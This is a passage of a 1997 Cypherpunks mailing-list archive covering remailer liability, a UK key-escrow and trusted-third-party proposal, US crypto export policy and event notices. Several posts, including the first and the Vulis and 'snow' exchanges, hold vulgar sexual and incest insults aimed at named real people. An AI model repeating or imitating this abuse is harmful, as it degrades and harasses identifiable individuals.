Date: Mon, 24 Mar 1997 22:05:31 -0800 (PST)
Subject: [IMPORTANT] Forgery detection
In-Reply-To: <199703250408.XAA32673@dhp.com>
Message-ID: <Pine.A41.3.95.970324230230.39424G-100000@fn2.freenet.edmonton.ab.ca>


On Mon, 24 Mar 1997, lucifer Anonymous Remailer wrote:

PILL TIME vulis.

> Timmy C[rook] May's mother attempted to pro-choice the 
> unwanted little bastard by fishing with a coat hanger in her 
> giant cunt, but failed miserably to pull the rabbit and 
> succeeded only in scraping out the contents of little Timmy's 
> fetal cranium (not much to begin with).
> 
>          _
>         / '
>        |
>     /><oo><\  Timmy C[rook] May
>    //[ `' ]\\
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From gbroiles at netbox.com  Tue Mar 25 02:29:15 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Tue, 25 Mar 1997 02:29:15 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <199703250150.BAA01138@server.test.net>
Message-ID: <3.0.1.32.19970325015832.006f7ef8@mail.io.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 10:46 PM 3/24/97 -0500, Andy Dustman wrote:
>The first idea, which I've mentioned before, is requiring users to "sign" 
>a user agreement (magic cookie exchange) before they can send or receive
>messages. This agreement basically states that the operator does not
>monitor or filter based on content, and cannot trace messages back to the
>original sender, and thus is not liable under US law for contents (check
>some of the CDA provisions); and that the user is wholly responsible for
>the legality of any messages sent.

I think there are two broad models of complaints/problems with remailers:

1. The recipient is angry because they received a message they didn't like.
(because it's an advertisement, or it's rude, or it's an image that their
parents didn't like ..) 

2. A third party is angry because the sender sent some information to the
recipient which the third party thinks should not have been sent. (copyright,
trademark, defamation, tortious interference with [prospective] contract,
etc.) 

Your "contract" model (which looks like you really mean it to be a waiver of
warranty/damages and/or an indemnification agreement) addresses (1) to the
point of overkill, but it doesn't reach (2), because there's no contract with
the third party, who is the party who's likely to be filing suit.
(Indemnification by the sender might work, if you worded the contract
correctly - but then you've got to abandon anonymity, and the value of
indemnification from person you don't know whose assets/finances are unknown
is pretty low.)

Further, some fraction of the messages causing concern are message sent or
available to minors .. whose contracts (modulo some exceptions) are voidable
at their option. :(

>The second idea, which I want to implement in conjunction with the above,
>is to insert a disclaimer in the message body at the top of the message
>with the important points (and references to) the user agreement,
>including how to block messages. There would be a mechanism for clueful
>users to disable this for messages they receive. 

This also works better for messages which are bothersome because of (1), but
not (2). You can't, as a general rule, evade a duty imposed by law by posting
signs saying "I'm not subject to a duty imposed by law." If it was that easy,
we'd all be driving cars marked "GET OUT OF MY WAY, I'M NOT LIABLE IF I DRIVE
INTO YOU". (Of course, such signs are still useful, if they trick people into
not even thinking about suing someone who's got such a sign .. :) 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzehnv37pMWUJFlhAQF/Jwf/QXgM9arbu4ERP4HwcNciKxfLLJFu7/0e
yLEmuh0Nh7Ici0DbTtHK25ff8q/IHHMPZwuaNE9fXRhgewMvZKLrRXicBjpLisZE
3xjbuUwfqghyf9isa0vV6gOuGeZrzA10qqBFhze+kqkBN3qgT6Zk6c2xbT6rBxeA
TaD4Nwpg0xBKjHZjP8IYeYOIxN0zEpa3YTV4PSWKieHj71nfpa7B4FUiPHWZUOqA
x+p3oDV6dBkkkvxpASU5ifhTl0eRVO+xSidOZz6rF+cKyIELrk1A9j3BbdiwfyUy
jmr/0kin8OEqEkvOSQ1SJipEvEQbhauMMzoKLpVwngdO3ErX1SB6gg==
=QSem
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From dlv at bwalk.dm.com  Tue Mar 25 02:50:52 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 25 Mar 1997 02:50:52 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703250442.WAA00708@smoke.suba.com>
Message-ID: <V0a54D2w165w@bwalk.dm.com>


snow <snow at smoke.suba.com> writes:

> The Loon wrote:
> > Toto <toto at sk.sympatico.ca> writes:
> > > Dale Thorn wrote:
> > > > > Really? Define _common_. I have lived in the Mid West for about 85% o
> > > > > my life, and I know no one who learned these things from their parent
> > > > C'mon guys.  Parents diddling with their kids is more than common -
> > > > probably 1/3 of all fathers do something sexual with one or more
> > > > of their children at some point.  People just suppress it.
> > >   I can't believe it could be that common without the government
> > > finding a way to 'tax' it.
> > Def: relative humidity - the sweat on snow's balls as he fucks his sister.
>
> 	Well, at least she was better than your wife.

Was your sister also better than your mother?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From toto at sk.sympatico.ca  Tue Mar 25 03:00:17 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 25 Mar 1997 03:00:17 -0800 (PST)
Subject: Announce: list-abuse mailing list
In-Reply-To: <v030209a5af5cf8b9f408@[139.167.130.246]>
Message-ID: <33379F2B.7CB@sk.sympatico.ca>


Robert Hettinga wrote:
 
> Based on the strongly positive feedback I received about the idea,
> I've gone ahead and created a "list-abuse" mailing list.  I
> apologize to members of "list-managers" who have already received
> this announcement.

  Those who do not accept his apology should complain to the 
list-abuse mailing list, suggesting that RH be unsubscribed
from the list.
  Not that I'm a troublemaker...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Tue Mar 25 03:01:01 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 25 Mar 1997 03:01:01 -0800 (PST)
Subject: Disturbed Individual
In-Reply-To: <199703250618.WAA27055@mat.wcs.net>
Message-ID: <33379772.4ED6@sk.sympatico.ca>


Raymond Mereniuk wrote:
> 
> The following message is the product of a disturbed individual.  From
> a Freudian perspective the sendee is projecting his own perversions
> onto the character of the subject of his ridicule.  This analysis is
> a touch simplistic but then who are we dealing with???
>          ___
>        ./_ -\.
>       q| o O |p
>   -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise
> Raymond at wcs.net

Ray,
  I suspect it is the disturbed group-mind of the CypherPunks etherical
subconscious.
  My theory is that we take turns sending them in our sleep.
  Of course, I tend toward the Jungian perspective. Perhaps the truth
actually lies closer to the Nietzian Netherworld.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From nobody at huge.cajones.com  Tue Mar 25 03:01:30 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 25 Mar 1997 03:01:30 -0800 (PST)
Subject: Tim C. May's Interpretation of the U.K. Proposal
Message-ID: <199703251101.DAA29927@mailmasher.com>


Timothy C. May wrote:
> 
> The U.K. may sense that, absent such "local content" laws, the market for
> key signings, time-stamping, and other services will naturally concentrate
> in certain markets. 
> Longer term, the concentration may be more
> globalized, or even in "cyberspace," but almost certainly not in Britain.
 
> Nations may thus fear this flight of such services to other countries.

  Tim, at his best, interprets the U.K. laws from both a global and
local perspective.
  Certainly, any actions of the U.K., in particular, should be viewed
from the lingering shadow of the British Commonwealth. The U.K., having
ruled an Empire, is much more cognizant of the implications of how the
structure of proposed legislation will affect the expansion of global
aims, or the protection of indigeonous rule.

  Although "local content," as Tim points out, is undeniably one
of the major factors behind the legislation, the U.K. is also 
undoubtedly positioning themselves to resist letting the *power*
that comes from information *control* fall into the hands of
others.
  We have passed from the age when currency, alone, ruled.
  We are now truly in the Information Age, and those who wish to
rule, to control others, must rule and control information. This
is why the great battles of the day now surround standards and
encryption, and encryption standards, above all.

  The US Bumverments reversal on encryption policy is not a
result of enlightenment, but a result of other nations taking
a leading role in encryption development. They have not really
abandoned their plans to control all information, but have
merely recognized that they must move their efforts into the
global community before other powers have locked up the market.

  The only solution to the threat of global information control
by one, or a few, players, is to promote the widest possible
variety of encryption development.

> So, besides the obvious OECD/New World Order interpretations, the U.K.
> action may be a sign of something we may see more often: various countries
> attempting to restrict extra-territorial uses of encryption services for
> economic as well as for perceived national security reasons.

  Not just national security, but national *control*.
  Perhaps the U.K. is the first country to truly recognize and
act on the threat of national borders falling victim to the
global potential of new Internet technology.
  After all, they were one of the first nations to feel the
sting of the printing press, and to experience the birth pains
of the global changes that it would give birth to.

  Truly their is another great global war shaping up, but this 
time the battle will be fought with bits and bytes, and the
battleground will be electronic.
  The winner will rule the medium.

  The medium IS the message. Those who rule the medium will rule
the message. And in the Information Age, the message will rule
the world.
  "In the beginning, was the Message. And the Message was with
God, and the Message WAS God."

  McLuhan was a voice crying in the wilderness, an electronic
John the Baptist.
  He, too, spoke of one who would come who was greater than he.
And he warned of the evil one who would fight to rule the minds
of all mankind. 
  He warned of wolves, in sheep's clothing, who would claim that
their aim was to protect us from pornographers and drug dealers.
  Well, not in the King James version, perhaps, but I am certain
that it was worded that way in "Tim's Vernacular Translation of
the Bible."

TruthMonger

   N o t  D r. R o b e r t s
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From toto at sk.sympatico.ca  Tue Mar 25 03:01:57 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 25 Mar 1997 03:01:57 -0800 (PST)
Subject: Jackboots in Canada
In-Reply-To: <199703250449.WAA00786@smoke.suba.com>
Message-ID: <3337A281.1BA2@sk.sympatico.ca>


snow wrote:
>         It isn't their rights being thrown away, it is the rights of the
> evil bikers.

  You hit the nail on the head.
  The Bummerment always gains their ground by taking away 'other' 
people's rights, one by one, until they've taken them all away.
  As long as people only complain when their own rights are being
taken away, then the Bummerment will rule by a 'divide and conquer'
approach.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From bubba at dev.null  Tue Mar 25 04:14:58 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Tue, 25 Mar 1997 04:14:58 -0800 (PST)
Subject: WebWorld 15
Message-ID: <3337C1E0.7973@dev.null>

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From bubba at dev.null  Tue Mar 25 04:15:08 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Tue, 25 Mar 1997 04:15:08 -0800 (PST)
Subject: WebWorld 16
Message-ID: <3337C201.68C3@dev.null>

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From bubba at dev.null  Tue Mar 25 04:22:47 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Tue, 25 Mar 1997 04:22:47 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <199703250150.BAA01138@server.test.net>
Message-ID: <3337C3D9.17A@dev.null>


Adam Back wrote:

> With hash marks (##) "hash" capability remailers can already be made
> to do this, where it will work, but this could be made the default, to
> set the From to remailer at dev.null or whatever.  No answer is required,
> or possible via the from address (for mix and typeI), so why bother
> with a valid From field?

Adam,
  All remailer owners have full permission to use my dev.null
server as their From address.
  I have a highly efficient staff at my command and I can 
assure everyone that their replies will be discarded in the
order that they are received.

Bubba
"He who shits on the road, will meet flies upon his return."






From jya at pipeline.com  Tue Mar 25 05:22:41 1997
From: jya at pipeline.com (John Young)
Date: Tue, 25 Mar 1997 05:22:41 -0800 (PST)
Subject: BXA InfoSys Meeting
Message-ID: <1.5.4.32.19970325131454.00747ba8@pop.pipeline.com>


Federal Register: March 25, 1997:

Bureau of Export Administration

Information Systems Technical Advisory Committee; Notice of
Partially Closed Meeting

    A meeting of the Information Systems Technical Advisory Committee
will be held April 15 & 16, Room 1617M-2, in the Herbert C. Hoover
Building, 14th Street between Constitution and Pennsylvania Avenues,
N.W., Washington, D.C. This Committee advises the Office of the
Assistant Secretary for Export Administration with respect to technical
questions that affect the level of export controls applicable to
information systems equipment and technology.

April 15

Closed Session 9:00 a.m.-5:00 p.m.

    1. Discussion of matters properly classified under Executive Order
12958, dealing with U.S. export control programs and strategic criteria
related thereto.

April 16

General Session 9:00 a.m.-12:00p.m.

    2. Opening remarks by the Chairman.
    3. Update on implementation of the Wassenaar Arrangement.
    4. Presentation on Hewlett-Packard Company key-recovery products
for the International Cryptographic Framework.
    5. Comments or presentations by the public.

Closed Session 1:00 p.m.-4:00 p.m.

    6. Discussion of matters properly classified under Executive Order
12958, dealing with U.S. export control programs and strategic criteria
related thereto.
    The General Session of the meeting is open to the public and a
limited number of seats will be available. To the extent time permits, 
members of the public may present oral statements to the Committee. 
Written statements may be submitted at any time before or after the 
meeting. However, to facilitate distribution of public presentation 
materials to the Committee members, the Committee suggests that 
public presentation materials or comments be forwarded at least 
one week before the meeting to the address listed below: Ms. Lee 
Ann Carpenter, OAS/EA MS: 3886C, Bureau of Export Administration, 
U.S. Department of Commerce, Washington, D.C. 20230.

-----

Note: EO 12958 covers classified national security information:

   http://jya.com/eo12958.txt  (100K)






From declan at pathfinder.com  Tue Mar 25 06:14:50 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Tue, 25 Mar 1997 06:14:50 -0800 (PST)
Subject: INFO: Pro-CODE testimony available now online at  democracy.net!
In-Reply-To: <199703250554.VAA22477@mail.pacifier.com>
Message-ID: <Pine.GSO.3.95.970325091136.16036A-100000@cp.pathfinder.com>


If you want to do a side-by-side comparison, nobody's stopping you. 

The ACLU did one, didn't like what they saw all that much, but decided to
hold their noses and endorse the bill anyway. Check out their press
release from a couple weeks ago. 

-Declan


On Mon, 24 Mar 1997, jim bell wrote:

> At 02:22 PM 3/24/97 -0500, Shabbir Safdar wrote:
> 
> >The hearing was held by the Senate Commerce Committe to consider S. 377,
> >the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
> >issue of US encryption policy -- a critical issue to the Internet user
> >community.
> 
> I, and maybe a lot of other people, are still waiting for somebody to do a 
> side-by-side comparison of "Pro-Code 1997" with last year's version, the 
> original.
> 
> What has changed?  For the worse?  Why?  Who wanted it changed?  Who changed 
> it?  Are they embarrassed?
> 
> 
> Jim Bell
> jimbell at pacifier.com
> 






From declan at well.com  Tue Mar 25 07:31:38 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 25 Mar 1997 07:31:38 -0800 (PST)
Subject: Cato Institute paper on "Lessons from FCC Regulation"
Message-ID: <Pine.GSO.3.95.970325073120.20989E-100000@well.com>




---------- Forwarded message ----------
Date: Tue, 25 Mar 1997 07:30:50 -0800 (PST)
From: Declan McCullagh <declan at well.com>
To: fight-censorship-announce at vorlon.mit.edu
Subject: Cato Institute paper on "Lessons from FCC Regulation"

[I read through most of this paper last night. It doesn't say anything new
about the CDA per se, but it is worth reading for what it says about way
the Fairness Doctrine was used to intimidate political opponents, and how
government controls over the content of speech are intolerable. --Declan]

*************

   Linkname: 270. Chilling the Internet? Lessons from FCC
   Filename: http://www.cato.org/pubs/pas/pa-270es.html                 

                           CHILLING THE INTERNET?
             Lessons from FCC Regulation of Radio Broadcasting 

                   by Thomas W. Hazlett and David W. Sosa

                              Executive Summary

     Congress included the Communications Decency Act in the
     Telecommunications Act, which was signed into law on February 8,
     1996. The CDA sought to outlaw the use of computers and phone lines
     to transmit "indecent" material and provided jail terms and heavy
     fines for violators. Proponents of the act argue that it is
     necessary to protect minors from undesirable speech on the
     burgeoning Internet. The CDA was immediately challenged in court by
     the American Civil Liberties Union, and the special three-judge
     federal panel established to hear the case recently declared the
     act unconstitutional. Yet its ultimate adjudication remains in
     doubt.

     Ominously, the federal government has long experimented with
     regulations designed to improve the content of "electronic" speech.
     For example, the Fairness Doctrine, imposed on radio and television
     stations until 1987, was an attempt to establish a standard of
     "fair" coverage of important public issues. The deregulation of
     content controls on AM and FM radio programming, first under the
     Carter Federal Communications Commission in early 1981 and then
     under the Reagan FCC (which abolished the Fairness Doctrine in
     1987), led to profound changes in radio markets. Specifically, the
     volume of informational programming increased dramatically
     immediately after controls were ended--powerful evidence of the
     potential for regulation to have a "chilling effect" on free
     speech.

                                       *******

        Thomas W. Hazlett is a professor of agricultural and resource
     economics and director of the Program on Telecommunications Policy,
        University of California, Davis. David W. Sosa is a doctoral
      student in the Department of Agricultural and Resource Economics,
      University of California, Davis. This article originally appeared
      in the Michigan Telecommunications and Technology Law Review, an
              online journal, and is reprinted with permission.








From rah at shipwright.com  Tue Mar 25 09:20:30 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 25 Mar 1997 09:20:30 -0800 (PST)
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, April 1, 1997
Message-ID: <v03020931af5db717153b@[139.167.130.246]>



--- begin forwarded text


To: nh-isig at bcs1.ziplink.net, isig at signet.org, talk at web-net.org,
        discuss at tarnhelm.blu.org, dubie at tnpubs.enet.dec.com,
        scryberdave <ltcdave at scryber.com>
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, April 1, 1997
Mime-Version: 1.0
Date: Tue, 25 Mar 97 09:55:47 -0500
From: "Jerry Feldman" <gaf at zk3.dec.com>
X-Mts: smtp
Sender: owner-isig at signet.org
Precedence: bulk
Reply-To: isig at signet.org

When: Tuesday April 1, 1997 7PM
Where: Nashua, NH Public Library, 2 Court St, Nashua, NH.
Topic: Robert Hettinga, founding moderator of the Digital Commerce Society of
Boston.

The NH INTERNET SIG (Special Interest Group) welcomes you to its monthly
meeting, the first Tuesday of every month.
The next meeting will be on April 1st and will focus on the technology and
social consequences of digital commerce and financial
cryptography. Mr. Hettinga is also general chair of Financial Cryptography
1997, the world's first conference on Financial Cryptography.

However, financial cryptography, the technology which
underlies digital commerce in its most secure form, will have much more
profound implications than merely the simplification of sales and
distribution. It permits us to make anonymous *cash* transactions for
everything from a billion-dollar foriegn exchange trade to, probably, the
switching of internet packets themselves.
If this promise is kept, it could change the fundamentals of our entire
society.

Please check out Mr. Hettinga's web site:http://www.vmeng.com/rah/

This meeting promises to be fun and informative for both the technical and
non-technical computer users.

For more information contact Ken Adams at (603) 598-1823
eMail: director at nh-isig.org
For more information contact Jerry Feldman <gaf at signet.org>,
NH-ISIG meeting coordinator..
Mailing list: nh-isig at bcs1.ziplink.net
WWW:          http://www.nh-isig.org
NOTE: Empire.net is currently moving the web site to a new server.
      Please bear with us while the work is in progress. I have posted a
      more complete description and speaker bio
      at:http://www.gis.net/~gaf/hettinga.html

Directions to the Nashua Public Library (Plenty of free parking after 5PM):
>From south of Nashua:
Take Route 3 North to Nashua. Take exit 5E, Route 111 East
(Kinsley St., There is a Howard Johnson's Motel at the exit).
Follow 111 East (Kinsley St.) to the fourth set of lights and Main St. North.
Turn left onto Main St. and at the third set of lights turn right onto Temple
St. Take Temple St. to 2nd left onto Cottage Avenue (Behind Indian Head Plaza)
into Library's metered parking lot. (Meters in force 9AM to 5PM only).

>From North of Nashua:
Take the Everett Turnpike (Rte. 3) to Exit 7-E, 101A (Amherst St.)
Follow 101A to major intersection and turn right onto Main St.
Follow Main St. and turn left at the second set of lights onto Temple St.
Take Temple St. to 2nd left onto Cottage Avenue (Behind Indian Head Plaza)
into Library's metered parking lot. (Meters in force 9AM to 5PM only).
--
+-------------------------------------------------------------+
Jerry Feldman            gaf at SigNet.org
New Hampshire Internet SIG Meeting Coordinator
+-------------------------------------------------------------+



--
To unsubscribe from this list, send mail to majordomo at bcs1.ziplink.net
with the following text in the *body* (*not* the subject line) of the letter:
unsubscribe isig

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From real at freenet.edmonton.ab.ca  Tue Mar 25 10:19:45 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 25 Mar 1997 10:19:45 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <V0a54D2w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970325111622.15110B-100000@fn2.freenet.edmonton.ab.ca>


On Tue, 25 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

Vulis the list you need is sex pervert.

> >
> > 	Well, at least she was better than your wife.
> 
> Was your sister also better than your mother?
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From toto at sk.sympatico.ca  Tue Mar 25 13:02:30 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 25 Mar 1997 13:02:30 -0800 (PST)
Subject: Corrupted "From:" headers in my posts
In-Reply-To: <199703251906.LAA01236@crypt.hfinney.com>
Message-ID: <33383B28.240A@sk.sympatico.ca>


Hal Finney wrote:
> 
> Several people have noted that my posts have had duplicate "From:" lines.

> In a recent message
> where I quoted Greg Broiles, the headers  
> has From: lines both from me and Greg.

>  Apologies to those who have been bothered by this problem
> with my posts.

Hal,
  I began reading the post, thinking it was from Greg, and I had
a heart attack because I thought he was finally making sense.
  I will be suing for medical expenses.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From hallam at ai.mit.edu  Tue Mar 25 13:42:51 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Tue, 25 Mar 1997 13:42:51 -0800 (PST)
Subject: Tim C. May's Interpretation of the U.K. Proposal
Message-ID: <01BC393C.3A406150@crecy.ai.mit.edu>




Huge Cajones Remailer <nobody at huge.cajones.com> wrote in article <5h8e8u$b3h at life.ai.mit.edu>...
> Timothy C. May wrote:
> > 
> > The U.K. may sense that, absent such "local content" laws, the market for
> > key signings, time-stamping, and other services will naturally concentrate
> > in certain markets. Longer term, the concentration may be more
> > globalized, or even in "cyberspace," but almost certainly not in Britain.
> > Nations may thus fear this flight of such services to other countries.

I think that this is not quite accurate. To begin it is necessary to understand the different relationship of the Civil Service and the executive in the UK. Unlike in the US the CiVil service is apolitical, it prepares policy advice for ministers but couched in guarded terms. It explains the advantages and disadvantages of particular  policies while avoiding conclusions. Thus it is a mistake to read too much into briefing papers.

What really count are green and white papers. Green papers are the first draft of policy and frequently involve "kite flying" exercises. A proposal to implement GAK in a green paper may equally well be intended as a signal to opponents to put their case more coherently as a positive affirmation of the policy.

The UK is currently having a general election which barring a resurgence by the Liberals the socialists will win. If you thought Bob Dole's campaign was dire watch the UK Conservatives for sheer and frequently adulterous incompetence. Ten Tory MPs have been accused of accepting bribes and the Govt manipulated the date of porogueing (ie suspending) parliament before it was disolved for the election to suppress publication of the report into the affair. Since two case have been proven beyond reasonable doubt this is a bad start to say the least.

Traditionally the socialist are far more likely to support civil liberties than the Conservatives. The Liberals have the best record but the best they can hope for is to become the opposition in place of the Tories. During the years of Tory rule left wing political organisations such as CND have been monitored by MI5. Crypto will undoubtedly have support from the far left who have frequently been the target of politically motivated surveillance.

>   Tim, at his best, interprets the U.K. laws from both a global and
> local perspective.
>   Certainly, any actions of the U.K., in particular, should be viewed
> from the lingering shadow of the British Commonwealth. The U.K., having
> ruled an Empire, is much more cognizant of the implications of how the
> structure of proposed legislation will affect the expansion of global
> aims, or the protection of indigeonous rule.

The UK has also traditionally understood cryptography policy far better than the US. During both World Wars the US managed to persue a crypto policy of quite astonishing boneheadedness. 

>   Although "local content," as Tim points out, is undeniably one
> of the major factors behind the legislation, the U.K. is also 
> undoubtedly positioning themselves to resist letting the *power*
> that comes from information *control* fall into the hands of
> others.

Its not legislation, nor even a proposal to legislate. Its one side in a discussion document. No need to panic! Instead we need to make sure we have a coherent lobbying strategy.

To effectively lobby the UK government you don't need vast amounts of cash but having a permanent office to coordinate grass roots activity is usefull. Corporations with a heavy UK involvement such as IBM and DEC would be usefull sponsors, not so much for the cash as for links to constituency MPs. 

Also note that now is a good time to press the issue. The US administrations policy on Cuba has greatly discredited it abroad. The Helms-Burton act is a clear attack on other nations sovereignty, that its primary sponsor is notorious as a racist hatemonger makes matters worse. Similarly a US attack on the computer systems of the EU during the GATT negotiations has not been forgiven. Proposals to allow the US to break secret messages in other countries are correspondingly unpopular.

	Phill
 





From hallam at ai.mit.edu  Tue Mar 25 14:08:01 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Tue, 25 Mar 1997 14:08:01 -0800 (PST)
Subject: Another Interpretation of the U.K. Proposal
Message-ID: <01BC393F.C5DF4D40@crecy.ai.mit.edu>




Timothy C. May <tcmay at got.net> wrote in article <5h6rmj$38q at life.ai.mit.edu>...

> The U.K. may sense that, absent such "local content" laws, the market for
> key signings, time-stamping, and other services will naturally concentrate
> in certain markets.

I think they would expect to win that battle in any case. I don't think there is a particular concern about competition except in regard to the problem of the UK legal framework being inadequate.

The UK has a major presence in finacial services and the govt. would be more concerned to keep foreign markets open to UK exports than inf\dulging in protectionism.

There may be a fear about US govt. interference however. There was considerable concern that the US regularly abused its role in COCOM to advantage US companies. UK compaines who bid for contracts with communist countries tended to face unexpected competition from US firms shortly after applying for a COCOM export license.

	Phill






From hallam at ai.mit.edu  Tue Mar 25 14:31:07 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Tue, 25 Mar 1997 14:31:07 -0800 (PST)
Subject: Why I might want a trusted third party.
Message-ID: <01BC3942.FF16CB80@crecy.ai.mit.edu>


Hi,

	There have been a number of comments on the UK proposals by the DTI to introduce a legal framework for use of trusted thrid parties. I contacted some old friends to find out what the issue really was. I was surprised by the result.

	First off the proposals are not intended as a Trojan horse for the Clipper chip "or any other colonial scheme". The UK authorities have been fighting terrorists rather longer than the US and the ones they are concerned about have used encryption for a decade. My friend was somewhat concerned that the US administration may have poisoned the water preventing any sensible scheme being deployed.

	The issue of concern is not private use of encryption but corporate users. Imagine you are a security administrator for IBM or DEC. You probably don't want your employees using absolutely secure email systems that would allow them to post company secrets through your firewall. I used to administer security at a large nuclear installation with an improbable amount of Uranium to hand (several hundred tonnes). Last thing I was going to allow was encrypted communications from the secure area to the Internet.

	Companies probably don't want to have their LAN completely open to snooping either. Their sysop may be snooping for a competitor as much as for them. For this particular customer the trusted third party concept is quite a good one. They can collect large quantities of information in a manner that avoids the risk of having gathered together a large collection of en-clair sensitive material in one place. Such a company would probably prefer to have the decryption key far away from the reach of their employees, ideally the key would be stored in such a way that even the TTP didn't know who it related to.

	Basically the DTI proposal clears the way for people to offer this type of service in the UK. They are emphatically not trying to introduce a Clipper chip proposal. Unfortunately what they do propose is clearly a slippery slope to a Clipper situation. If use of TTPs became ubiquitous it might become possible to enforce their use somehow at a later date.

	I think that this is a remote possibility but one that should raise concerns. If it was merely the UK government that was involved I would have fewer concerns than the current situation. The problem with US policy is that the executive keeps making ignorant and dangerous bids for unlimited power over the Internet and the people seem to have little influence over Congress. There was a tellling episode during the PICs/CDA fiasco when one of the professional lobbyists said "now we need to collect money for the hearings". Basically the governing assumption in DC amongst lobbyists is that you buy your way into hearings with campaign donnations. Crypto has many rich supporters but they tend not to understand just how corrupt US politics are.
	

Phillip M. Hallam-Baker
Visitng Scientist
MIT Laboratory for Artificial Intelligence.
hallam at ai.mit.edu
http://www.ai.mit.edu/people/hallam/hallam.html







From aba at dcs.ex.ac.uk  Tue Mar 25 16:24:13 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 25 Mar 1997 16:24:13 -0800 (PST)
Subject: Why I might^H^H^H^H^H *WILL NEVER* want a trusted third party.
In-Reply-To: <01BC3942.FF16CB80@crecy.ai.mit.edu>
Message-ID: <199703260019.AAA01978@server.test.net>



Phillip Hallam-Baker <hallam at ai.mit.edu> writes:
> 	Companies probably don't want to have their LAN completely open to 
> snooping either. Their sysop may be snooping for a competitor as much as 
> for them. For this particular customer the trusted third party concept 
> is quite a good one. They can collect large quantities of information in 
> a manner that avoids the risk of having gathered together a large 
> collection of en-clair sensitive material in one place. Such a company 
> would probably prefer to have the decryption key far away from the reach 
> of their employees, ideally the key would be stored in such a way that 
> even the TTP didn't know who it related to.

Best argument I've seen for ombudsman key-escrow yet.  And
yet... surely it would be perfectly feasible to have the commercial
key escrow key system set up with the n of m directors and company
lawyer holding the key?  If they get suspicious they can check on
someone, and the rest of the time, no one can read anyone else's
messages.

In any case, if you were able to find an example of a company who
wanted this unusual setup, could they not draw up a contract with a
legal firm, or computer security company to achieve something similar.

The real problem I have with the DTI document is in `facilitating
ecommerce' or whatever the euphamism is for the government bid to have
real time access to user keys, they are also outlawing use of
unlicensed TTPs.  From the document it seems that activities which
require a TTP license are key server functionality, CAs (even for only
signature keys), time-stamping services, plus numerous other
possibilities, by entities which are not licensed TTPs.

Then they go on to say they want the market to decide on whether
government licensed TTPs are the best solution.  After outlawing most
other possibilities, and putting legal obstacles in the way of a fast
moving technological field.

> 	Basically the DTI proposal clears the way for people to offer
> this type of service in the UK. 

A lot of the proposal discusses outlawing non-licensed alternatives,
and timeliness of GAK (government access to keys), surely the way is
already clear for encryption companies to offer what they hell they
want to offer, to companies who are free to demand what they want.

> They are emphatically not trying to introduce a Clipper chip
> proposal. 

How do you describe all the `key recovery', and restrictions on TTPs
being interoperable and joining the network if they don't provide GAK?

Sounds _exactly_ like a clipper job to me.

> Unfortunately what they do propose is clearly a slippery slope to a
> Clipper situation. If use of TTPs became ubiquitous it might become
> possible to enforce their use somehow at a later date.

I'm sure this is the plan.  CESG is trying to push the CASM
architecture for TTPs (CASM is based of the Royal Holloway proposal).
CESG already has some `customers' who are legally obliged to use their
recommendations: central government.  The Health service had to put up
much resistance to avoid `the offer you can't refuse' of using Red
Pike in Health Service networks.  (Why Red Pike anyway?  It's a secret
algorithm, which is rumoured to be a modification of RC5, which itself
is a very new and relatively untested cipher.  What's wrong with 3DES?)

They plan to work their way out through peripheral government agencies
